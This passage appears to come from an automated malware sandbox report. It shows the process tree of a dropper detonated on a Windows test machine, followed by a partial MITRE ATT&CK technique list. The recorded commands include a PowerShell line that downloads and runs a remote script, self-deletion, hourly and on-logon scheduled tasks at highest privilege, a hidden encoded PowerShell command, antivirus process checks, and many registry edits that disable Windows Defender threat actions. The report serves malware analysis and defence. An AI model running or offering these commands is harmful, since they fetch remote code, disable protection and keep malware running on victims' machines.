        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 824
        9⤵
        Program crash
        
        PID:6052
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 832
        9⤵
        Program crash
        
        PID:5980
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 880
        9⤵
        Program crash
        
        PID:5260
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 836
        9⤵
        Program crash
        
        PID:4152
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 1360
        9⤵
        Program crash
        
        PID:5628
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\3x4igyun.1jm\gcleaner.exe" & exit
        9⤵
        
        PID:6092
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        10⤵
        Kills process with taskkill
        
        PID:5176
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4412 -s 492
        9⤵
        Program crash
        
        PID:5392
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0qaabgpv.vyw\mp3studios_96.exe & exit
        7⤵
        
        PID:5108
        
        C:\Users\Admin\AppData\Local\Temp\0qaabgpv.vyw\mp3studios_96.exe
        
        C:\Users\Admin\AppData\Local\Temp\0qaabgpv.vyw\mp3studios_96.exe
        8⤵
        
        PID:4676
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        9⤵
        
        PID:6080
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        10⤵
        Kills process with taskkill
        
        PID:1968
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        9⤵
        
        PID:5732
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd3a014f50,0x7ffd3a014f60,0x7ffd3a014f70
        10⤵
        
        PID:5396
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bfcd5xge.edb\random.exe & exit
        7⤵
        
        PID:332
        
        C:\Users\Admin\AppData\Local\Temp\bfcd5xge.edb\random.exe
        
        C:\Users\Admin\AppData\Local\Temp\bfcd5xge.edb\random.exe
        8⤵
        
        PID:5424
        
        C:\Users\Admin\AppData\Local\Temp\bfcd5xge.edb\random.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bfcd5xge.edb\random.exe" -q
        9⤵
        
        PID:5956
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wpjbjf3x.xle\pb1117.exe & exit
        7⤵
        
        PID:1588
        
        C:\Users\Admin\AppData\Local\Temp\wpjbjf3x.xle\pb1117.exe
        
        C:\Users\Admin\AppData\Local\Temp\wpjbjf3x.xle\pb1117.exe
        8⤵
        
        PID:5568
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\evsxvy2x.jzd\file.exe & exit
        7⤵
        
        PID:2956
        
        C:\Users\Admin\AppData\Local\Temp\evsxvy2x.jzd\file.exe
        
        C:\Users\Admin\AppData\Local\Temp\evsxvy2x.jzd\file.exe
        8⤵
        
        PID:5628
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://fluxportugal.pt/js/vendor/config_40.ps1')"
        9⤵
        
        PID:5860
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(New-Object Net.Webclient).DownloadString('https://fluxportugal.pt/js/vendor/config_40.ps1')
        10⤵
        
        PID:1304
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\evsxvy2x.jzd\file.exe" >> NUL
        9⤵
        
        PID:4552
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        10⤵
        Runs ping.exe
        
        PID:5612
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mligmsv5.fly\ChromeSetup.exe & exit
        7⤵
        
        PID:3364
        
        C:\Users\Admin\AppData\Local\Temp\mligmsv5.fly\ChromeSetup.exe
        
        C:\Users\Admin\AppData\Local\Temp\mligmsv5.fly\ChromeSetup.exe
        8⤵
        
        PID:5752
- - C:\Users\Admin\Pictures\Minor Policy\dllGcvQj4waXvaAJ4ZiAWBWk.exe
    "C:\Users\Admin\Pictures\Minor Policy\dllGcvQj4waXvaAJ4ZiAWBWk.exe"
    3⤵
    - Executes dropped EXE
    PID:1328
  - - C:\Users\Admin\AppData\Local\Temp\is-KPIDM.tmp\is-2V9SD.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-KPIDM.tmp\is-2V9SD.tmp" /SL4 $4019C "C:\Users\Admin\Pictures\Minor Policy\dllGcvQj4waXvaAJ4ZiAWBWk.exe" 2773519 52736
      4⤵
      PID:4060
    - - C:\Program Files (x86)\gbSearcher\gbsearcher75.exe
        
        "C:\Program Files (x86)\gbSearcher\gbsearcher75.exe"
        5⤵
        
        PID:4564
      - C:\Users\Admin\AppData\Roaming\{d6dc608d-2a27-11ed-a0e3-806e6f6e6963}\KGU5QTj4PXHnpa.exe
        
        6⤵
        
        PID:3936
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gbsearcher75.exe" /f & erase "C:\Program Files (x86)\gbSearcher\gbsearcher75.exe" & exit
        6⤵
        
        PID:960
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gbsearcher75.exe" /f
        7⤵
        Kills process with taskkill
        
        PID:220
- - C:\Users\Admin\Pictures\Minor Policy\WGrWP2G6bWZ1GzAC4TIwK8pF.exe
    "C:\Users\Admin\Pictures\Minor Policy\WGrWP2G6bWZ1GzAC4TIwK8pF.exe"
    3⤵
    - Executes dropped EXE
    PID:1080
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 340
      4⤵
      Program crash
      PID:3688
- - C:\Users\Admin\Pictures\Minor Policy\RTEazUFMZOgx28yBe5_X0Ltq.exe
    "C:\Users\Admin\Pictures\Minor Policy\RTEazUFMZOgx28yBe5_X0Ltq.exe"
    3⤵
    - Executes dropped EXE
    PID:468
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:1876
- - C:\Users\Admin\Pictures\Minor Policy\k9eDC7FnsNpC4WanVW_Ly_fx.exe
    "C:\Users\Admin\Pictures\Minor Policy\k9eDC7FnsNpC4WanVW_Ly_fx.exe"
    3⤵
    PID:3684
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      PID:3700
- - C:\Users\Admin\Pictures\Minor Policy\cH7MoNmAKCMUP8e921bJk0C4.exe
    "C:\Users\Admin\Pictures\Minor Policy\cH7MoNmAKCMUP8e921bJk0C4.exe"
    3⤵
    PID:3288
- - C:\Users\Admin\Pictures\Minor Policy\6I5ezli8VZ5V3VGE2HiVsIZR.exe
    "C:\Users\Admin\Pictures\Minor Policy\6I5ezli8VZ5V3VGE2HiVsIZR.exe"
    3⤵
    PID:2112
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /RU "Admin" /tr ""C:\Program Files (x86)\ClipManagerP0\ClipManager_Svc.exe"" /tn "LOLPA4DESK HR" /sc HOURLY /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2524
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /RU "Admin" /tr ""C:\Program Files (x86)\ClipManagerP0\ClipManager_Svc.exe"" /tn "LOLPA4DESK LG" /sc ONLOGON /rl HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:2924
- - C:\Users\Admin\Pictures\Minor Policy\55GUWZCVVahT1xdXBXRv0Zhw.exe
    "C:\Users\Admin\Pictures\Minor Policy\55GUWZCVVahT1xdXBXRv0Zhw.exe"
    3⤵
    PID:788
  - - C:\Windows\SysWOW64\tapiunattend.exe
      tapiunattend.exe
      4⤵
      PID:3136
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c cmd < Mirrors.mpeg & ping -n 5 localhost
      4⤵
      PID:4076
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd
        5⤵
        
        PID:4292
      - C:\Windows\SysWOW64\find.exe
        
        find /I /N "avastui.exe"
        6⤵
        
        PID:5352
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FI "imagename eq AvastUI.exe"
        6⤵
        Enumerates processes with tasklist
        
        PID:5388
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FI "imagename eq AVGUI.exe"
        6⤵
        Enumerates processes with tasklist
        
        PID:6080
      - C:\Windows\SysWOW64\find.exe
        
        find /I /N "avgui.exe"
        6⤵
        
        PID:5956
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^292552347903647624226686138999204215314705673139493112772742455981043241153$" Button.mpeg
        6⤵
        
        PID:780
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Metal.exe.pif
        
        Metal.exe.pif Z
        6⤵
        
        PID:3624
      - C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 5
        6⤵
        Runs ping.exe
        
        PID:2304
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
  2⤵
  - Creates scheduled task(s)
  PID:580
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
  2⤵
  - Creates scheduled task(s)
  PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1080 -ip 1080
1⤵
PID:2088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3796 -ip 3796
1⤵
PID:4140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4412 -ip 4412
1⤵
PID:2304

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5172

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3796 -ip 3796
1⤵
PID:5528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4412 -ip 4412
1⤵
PID:5648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3796 -ip 3796
1⤵
PID:5948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4412 -ip 4412
1⤵
PID:6072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3796 -ip 3796
1⤵
PID:5224

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4412 -ip 4412
1⤵
PID:5808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3796 -ip 3796
1⤵
PID:4432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4412 -ip 4412
1⤵
PID:5672

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
PID:5684
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  PID:5632
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5632 -s 600
    3⤵
    - Program crash
    PID:780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5632 -ip 5632
1⤵
PID:1556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3796 -ip 3796
1⤵
PID:3180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 4412 -ip 4412
1⤵
PID:5704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3796 -ip 3796
1⤵
PID:3412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4412 -ip 4412
1⤵
PID:5372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3796 -ip 3796
1⤵
PID:5084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4412 -ip 4412
1⤵
PID:4252

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 3796 -ip 3796
1⤵
PID:6104

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 4412 -ip 4412
1⤵
PID:5640

C:\Users\Admin\AppData\Local\Temp\EDdmQQsRZYMnupcka\VHSmdiHZODWiKhD\eSWHRjH.exe
C:\Users\Admin\AppData\Local\Temp\EDdmQQsRZYMnupcka\VHSmdiHZODWiKhD\eSWHRjH.exe VP /site_id 525403 /S
1⤵
PID:884
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:3676
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5240
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:564
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5960
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4852
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2548
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5392
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5624
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1988
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5476
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4972
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5712
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4244
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6092
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5228
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:6060
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1152
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2892
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5092
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3256
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4932
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5984
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5108

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
1⤵
PID:3128

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

T1064

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Scripting

T1064

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Process Discovery

T1057

Query Registry

Remote System Discovery

T1018

System Information Discovery